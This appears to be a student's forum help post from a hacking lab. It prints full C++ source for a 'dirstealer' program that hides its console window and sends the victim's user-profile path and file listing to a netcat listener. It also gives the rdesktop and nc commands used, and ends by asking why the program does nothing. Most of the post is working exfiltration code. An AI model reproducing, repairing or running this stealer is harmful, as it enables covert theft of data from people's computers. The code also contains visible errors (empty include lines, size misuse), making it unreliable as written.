I signed in as Kali, not root.
I connected via rdesktop:
sudo rdesktop 172.16.160.155:65520
With the dirstealer cpp file i used this source code that was pre-made and i changed the ip address and port number:
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#pragma comment(lib, “Ws2_32.lib”)
#include
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <dirent.h>
#include
char* userDirectory()
{
char* pPath;
pPath = getenv (“USERPROFILE”);
if (pPath!=NULL)
{
//printf("%s\n", pPath);
return pPath;
} else {
perror("");
} //otherwise exit
}
int main()
{
ShowWindow(GetConsoleWindow(), SW_HIDE);
WSADATA WSAData;
SOCKET server;
SOCKADDR_IN addr;
WSAStartup(MAKEWORD(2, 0), &WSAData);
server = socket(AF_INET, SOCK_STREAM, 0);
addr.sin_addr.s_addr = inet_addr("172.16.160.155"); // your listening IP
addr.sin_family = AF_INET;
addr.sin_port = htons(65520); //your listening port
connect(server, (SOCKADDR *)&addr, sizeof(addr));
//printf("conntected");
char* pPath = userDirectory();
send(server, pPath, sizeof(pPath), 0);
DIR *dir;
struct dirent *ent;
if ((dir = opendir (pPath)) != NULL) {
/* print all the files and directories within directory */
while ((ent = readdir (dir)) != NULL) {
send(server, ent->d_name, sizeof(ent->d_name), 0);
}
closedir (dir);
} else {
/* could not open directory */
perror ("");
}
////clean up
closesocket(server);
WSACleanup();
}
Then I tried to use netcat:
┌──(kali㉿kali)-[~]
└─$ nc -lvp 65520
listening on [any] 65520 …
I went back to the victim’s machine and double clicked the exe file. Nothing happens. I click run in dev++ nothing happens. I don’t know what I’m doing wrong.